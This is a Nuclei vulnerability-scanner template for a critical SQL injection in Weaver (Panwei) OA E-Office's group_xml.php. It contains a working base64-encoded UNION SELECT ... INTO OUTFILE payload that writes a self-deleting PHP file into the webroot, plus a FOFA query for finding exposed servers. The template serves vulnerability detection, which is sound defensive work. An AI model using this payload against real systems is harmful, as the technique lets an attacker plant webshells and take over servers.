nuclei-templates/http/vulnerabilities/weaver/weaver-group-xml-sqli.yaml

43 lines
1.6 KiB
YAML
Raw Normal View History

2023-09-13 11:22:00 +00:00
id: weaver-group-xml-sqli
info:
name: OA E-Office group_xml.php - SQL Injection
author: SleepingBag945
severity: critical
description: |
There is a SQL injection vulnerability in the Panwei OA E-Office group_xml.php file. Through the vulnerability, an attacker can write to the Webshell file to obtain server permissions.
reference:
- http://wiki.peiqi.tech/wiki/oa/泛微OA/泛微OA%20E-Office%20group_xml.php%20SQL注入漏洞.html
- https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEOA%20E-Office%20group_xml.php%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
metadata:
verified: true
2023-10-14 11:27:55 +00:00
max-request: 2
fofa-query: app="泛微-EOffice"
2023-09-13 11:22:00 +00:00
tags: weaver,e-office,oa,sqli
2024-04-15 11:26:37 +00:00
2023-09-13 11:22:00 +00:00
variables:
filename: "{{to_lower(rand_base(5))}}"
2024-04-15 11:26:37 +00:00
string: "weaver-group-xml-sqli"
payload: "[group]:[1]|[groupid]:[1 union select '<?php echo md5(\"{{string}}\");unlink(__FILE__);?>',2,3,4,5,6,7,8 into outfile '../webroot/{{filename}}.php']"
2023-09-13 11:22:00 +00:00
http:
- raw:
- |
GET /inc/group_user_list/group_xml.php?par={{base64(payload)}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
- |
GET /{{filename}}.php HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_2
words:
2024-04-15 11:26:37 +00:00
- '{{md5(string)}}'
2023-09-13 11:22:00 +00:00
- type: status
status:
2023-10-14 11:27:55 +00:00
- 200
# digest: 4a0a00473045022100e520e096b9c8cdad4c8c78447d8bfb96088bfa3c937b57b15dd40914d7ba834e0220136edb9f4931e4d48788270d2f76b8333475d5774ab70dc2a7c03f3fce85b649:922c64590222798bb761d5b6d8e72950